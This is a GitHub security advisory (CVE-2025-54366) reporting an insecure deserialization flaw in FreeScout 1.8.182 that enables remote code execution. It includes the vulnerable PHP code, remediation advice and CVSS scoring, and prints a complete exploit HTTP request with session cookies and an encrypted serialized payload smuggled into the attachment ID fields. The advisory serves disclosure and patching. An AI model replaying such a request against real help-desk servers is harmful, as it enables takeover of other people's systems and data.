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Deserialization of untrusted data leads to Remote code execution (RCE) [9]

High
freescout-help-desk published GHSA-vcc2-6r66-gvvj Jul 24, 2025

Package

No package listed

Affected versions

1.8.182

Patched versions

1.8.186

Description

Deserialization of untrusted data leads to Remote code execution (RCE) [9]

Product: FreeScout
Version: 1.8.182
CWE-ID:
• CWE-502: Deserialization of Untrusted Data
• CAPEC-586: Object Injection
CVSS vector v.4.0: 8.6 (AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Description: The application performs deserialization of data that can be tampered with. An attacker can create objects of arbitrary classes, as well as fully control their properties, thereby allowing them to manipulate the web application's logic.
Vulnerable scenarios: /conversation/ajax
Vulnerable parameters:
• POST attachments_all[]
• POST attachments[]
Exploitation conditions: authorized user, APP_KEY knowledge
Recommendations: Configure the web server to prevent the receipt of untrusted deserialized data or, if the architecture allows, use alternative data formats such as JSON or XML instead of serialized objects.
If this is not possible, follow the guidelines below:
• Explicitly define data types during deserialization;
• Ensure data integrity checks (e.g., using an HMAC hash function);
• Create a separate object to store deserialized data, as this causes the data to pass through secure input validation;
• Use transient fields to denote data that should not be serialized.

Researchers: Daniil Satyaev, Roman Cheremnykh, Artem Danilov (Positive Technologies)

Research

Vulnerable code:

Listing Code snippet exploiting the vulnerable function Helper::decrypt (app/Http/Controllers/ConversationController.php 3159-3171)

public function decodeAttachmentsIds($attachments_list)
    {
        foreach ($attachments_list as $i => $attachment_id) {
            $attachment_id_decrypted = \Helper::decrypt($attachment_id);
            if ($attachment_id_decrypted == $attachment_id) {
                unset($attachments_list[$i]);
            } else {
                $attachments_list[$i] = $attachment_id_decrypted;
            }
        }
        return $attachments_list;
    }

The code use insecure function \Helper::decrypt, which leads to deserialization and further Remote code execution (RCE).

Exploitation scenario:

Listing HTTP-request to exploit «Deserialization of untrusted data»

POST /conversation/ajax HTTP/1.1
Host: freescout.web-hacks.ru
Cookie: enduserportal_auth=eyJpdiI6IkhRQTZ5MnJjQitHXC84WHhtb1RabGF3PT0iLCJ2YWx1ZSI6IlBZMUF5ejF4MTJwaUJCdHFHQTE5Q25yNE8ySW9BQnpYZ09hdmwxeGVzeEMzcFp2anRzbXFZdnZUeHM5YTBUMXFxQUJIYkc3VDdSYU1OSW5BdVVRWVwvb1QzYVoycjRVMnFrVXRoZWxHZFU2NU94MW54R1VvNVFlMFlxNHlNMG5ybEZLQXZqOGRDUGhkbTU0ZzlhMW1MMmw3bnYwdlRhdUpXQUZVVnVlcXhKU0h3ZkVGQkp4OTFxR1ErQnZ3dDhFVGJxT0ZobDRCRGNRRW1MOTlVM2RWRCtFZHdpM0xGTXdUZTBpK3g0eDhOU3pDZHpFMVhFZEVXTlBmZ1wvaEZmS2N4QVdVaDlwNXVIQjVkcWl2bHoyWWozcjNDaXBvakNEeU0rNzhRbnU0R2ZGS0FuNFpheWRhaWdzMGJtVjR5Zk5BMHRHTzVkRjQ3YTVRMnhcL2t1SkdiYnp5ZDYraFVqVVdydWxMVmdBckFBTVZSWT0iLCJtYWMiOiJiMDEyNzQwMWQ1MjEwOGU4Y2Q4ZTI2YjZmZjIwZWZkODBlMzE2YmMyNzc3OTg4OGNmZjc5ZTkyNzE5NWRkYTQzIn0%3D; laravel_session=eyJpdiI6IlVwZUdqVXMrM1YyeXZXQWpON0UrSUE9PSIsInZhbHVlIjoiZnZZYjV5VFJXNHQ2ZjBUY0lpXC9UTjBPWTBMdTR5YVhjdnJ3MTNZM0ZcL3FVOXBSUHFmQnQxVnZaQVZrQzBibzdIOWV3cWhkQWlzU3VWSmhrSTJ2QUt3VG15bDZ1QjFOdlFEVnV3MFRiM1JZTFlDQ0hwb3Zza2FFa3RLM3NXRSs4TiIsIm1hYyI6Ijc0NDMwNWQ3YmJjMTIyODBlM2YxOTM5MDk2MzA2YjNiZDg5ZGE1MzY1NTQ0ZmI5Yzg3MzJlNTM0ZGY4NDZhZDEifQ%3D%3D; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlJGVEhIQTN5d0JZbGlpZlozSmprS3c9PSIsInZhbHVlIjoidzVTOEQzOXdiVlpMMGVBM0E1UFlMRGxmMks1Y1FTbHJhS3lcLzNTSXI3Q1lpSXpYUGZWQUZ3K1YzcW9nSVloTHZSdUxXejVnT3dvV1ZZSDhkS3pZbGtlT3FLb0QzdEJDSlcrajZNMzBkdmFDOTNTZE5rRkdWcDBNVW1MYmhBQ3hnN2ozQnI1aGVybW9pQ2w3TVNPM1NIQmpVOFwvblo5ZVwvQTl4d3djM1ZVQ1c3TDRlTGVqUkJmWFFKYkpudkxFOWJneG9LdHZybWc1S1JTWmJDamJQaUZqMWMwTE0zU1BEVzNweVwvK0hCTHQ3dms9IiwibWFjIjoiN2I4NzkyZGQ5MDU1OTg5Y2U2Njg4Mjc1MjQ4YWIxNTUzNDZiNzk4MzliYmNlYjYzOWYxYTU4OWUxMGFkNWYwYSJ9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrf-Token: IqCjwN7WYawh0rIQDJajIrBu5GhCQVfvD5Axgkw2
X-Requested-With: XMLHttpRequest
Content-Length: 1288
Origin: https://freescout.web-hacks.ru
Referer: https://freescout.web-hacks.ru/conversation/53
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: keep-alive

_token=IqCjwN7WYawh0rIQDJajIrBu5GhCQVfvD5Axgkw2&conversation_id=53&mailbox_id=4&is_note=&is_phone=&type=&thread_id=117&customer_id=&is_create=1&to%5B%5D=zzxxcc%40zxc.ru&subject=zxc&attachments_all%5B%5D=eyJpdiI6ICJvaVpTZnhvVmFnOGY5VTI0Tm5GQi9BPT0iLCAidmFsdWUiOiAiaU1xRzRHR1dtblc1UWRpU0l4cTZ1aGJZMUdaYVM5a1dCWjRIMGJPYWZuSGVNUFpSZ0dIOUdsaWc5eHVpTi9OeFRwaFZoWWQydVNCNloxRWhGYXYvNmxYajMzdUNNY09yWWRVdGtQNGtCOUpCNmY0YWFzbS9NZFg4OEc1RzNiUEc4ZkJMR1NEQURtaVJDck5Xd0dIOS94L3NoNWRmNkN2aHkyc1RwUGt1UklBZTdUOUI2RWZlalB0SVd3ZWZMSE5nVFpaMmhFU0thSURWWlc0dndVc0lwVDQ0ZlhlT1VPWDRCK3hxeCt5U1YyRUZKQ0J4RmhtMDJrNGpXbVNrUzMzaklYbm5ES0g3dHpsRzdTdVZRUmRpdk9EdUZ3NjVaa1pHUE1xMk1TQy9kdW9CYnFINVZoL0NHUUMvYkVYWmtIWGRsN2wyZTlXQk9NUkRsaUp3VTltUVJCSU5WeW5pZzF5cWdXaUVxaUVWeWIzVG0xcmhNS0o0Y1dGM1dWMWd4UnduVXNRZXlGZnJPVHdDdkdXTFd2YmdEb3VlemxidnlNUGphTE1LZjMzai9lUDVydng5aVFIejV3L2VxRWI5TVJ5QyIsICJtYWMiOiAiNzFjMGI2MDhhMGVmN2YwZjMyMjUwMGZiNGNmOTYyZDgyMzQ4MTc2M2ZiZDQ0ZmE5YWY0Yjk1OTRjOTkyYzEwNCIsICJ0YWciOiAiIn0=&attachments%5B%5D=eyJpdiI6ICJvaVpTZnhvVmFnOGY5VTI0Tm5GQi9BPT0iLCAidmFsdWUiOiAiaU1xRzRHR1dtblc1UWRpU0l4cTZ1aGJZMUdaYVM5a1dCWjRIMGJPYWZuSGVNUFpSZ0dIOUdsaWc5eHVpTi9OeFRwaFZoWWQydVNCNloxRWhGYXYvNmxYajMzdUNNY09yWWRVdGtQNGtCOUpCNmY0YWFzbS9NZFg4OEc1RzNiUEc4ZkJMR1NEQURtaVJDck5Xd0dIOS94L3NoNWRmNkN2aHkyc1RwUGt1UklBZTdUOUI2RWZlalB0SVd3ZWZMSE5nVFpaMmhFU0thSURWWlc0dndVc0lwVDQ0ZlhlT1VPWDRCK3hxeCt5U1YyRUZKQ0J4RmhtMDJrNGpXbVNrUzMzaklYbm5ES0g3dHpsRzdTdVZRUmRpdk9EdUZ3NjVaa1pHUE1xMk1TQy9kdW9CYnFINVZoL0NHUUMvYkVYWmtIWGRsN2wyZTlXQk9NUkRsaUp3VTltUVJCSU5WeW5pZzF5cWdXaUVxaUVWeWIzVG0xcmhNS0o0Y1dGM1dWMWd4UnduVXNRZXlGZnJPVHdDdkdXTFd2YmdEb3VlemxidnlNUGphTE1LZjMzai9lUDVydng5aVFIejV3L2VxRWI5TVJ5QyIsICJtYWMiOiAiNzFjMGI2MDhhMGVmN2YwZjMyMjUwMGZiNGNmOTYyZDgyMzQ4MTc2M2ZiZDQ0ZmE5YWY0Yjk1OTRjOTkyYzEwNCIsICJ0YWciOiAiIn0=&body=%3Cdiv%3Ezxc%3C%2Fdiv%3E&status=2&user_id=27&after_send=2&after_send_default=2&action=send_reply

The same problem with send_reply is also in the EndUserPortal module.

Listing Vulnerable code

public function processReplyAttachments($request)
    {
        $has_attachments = false;
        $attachments = [];
        if (!empty($request->attachments_all)) {
            //$embeds = [];
            $attachments_all = $this->decodeAttachmentsIds($request->attachments_all);
            if (!empty($request->attachments)) {
                $attachments = $this->decodeAttachmentsIds($request->attachments);
            }
            // if (!empty($request->embeds)) {
            //     $embeds = $this->decodeAttachmentsIds($request->embeds);
            // }
            $attachments_to_remove = array_diff($attachments_all, $attachments);
            if (count($attachments) && $attachments_to_remove != count($attachments)/* != count($embeds)*/) {
                $has_attachments = true;
            }
            //$attachments_to_remove = array_diff($attachments_to_remove, $embeds);
            Attachment::deleteByIds($attachments_to_remove);
        }

        return [
            'has_attachments' => $has_attachments,
            'attachments'     => $attachments,
        ];
    }

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required High
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2025-54366

Weaknesses

Deserialization of Untrusted Data

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid. Learn more on MITRE.